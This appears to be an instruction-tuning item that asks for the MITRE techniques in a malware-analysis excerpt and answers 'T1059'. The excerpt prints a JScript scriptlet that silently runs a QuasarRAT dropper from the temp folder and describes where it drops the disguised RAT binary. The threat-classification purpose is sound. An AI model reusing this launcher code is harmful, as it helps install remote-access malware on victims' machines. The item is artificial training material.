<?XML version=”1.0″?> <scriptlet> <registration description=”fjzmpcjvqp” progid=”fjzmpcjvqp” version=”1.00″ classid=”{204774CF-D251-4F02-855B-2BE70585184B}” remotable=”true” > </registration> <script language=”JScript”> <![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“cmd /c %tmp%\\qrat.exe”,0,false); exit(); ]]> </script> </scriptlet> After the initial dropper (qrat.exe) has been executed by the embedded scriptlet, it creates a directory in C:\Users\%username%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0 and unpacks/drops the final QuasarRAT binary named microsoft_network.exe
Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <?XML version=”1.0″?> <scriptlet> <registration description=”fjzmpcjvqp” progid=”fjzmpcjvqp” version=”1.00″ classid=”{204774CF-D251-4F02-855B-2BE70585184B}” remotable=”true” > </registration> <script language=”JScript”> <![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“cmd /c %tmp%\\qrat.exe”,0,false); exit(); ]]> </script> </scriptlet> After the initial dropper (qrat.exe) has been executed by the embedded scriptlet, it creates a directory in C:\Users\%username%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0 and unpacks/drops the final QuasarRAT binary named microsoft_network.exe ### Response: T1059.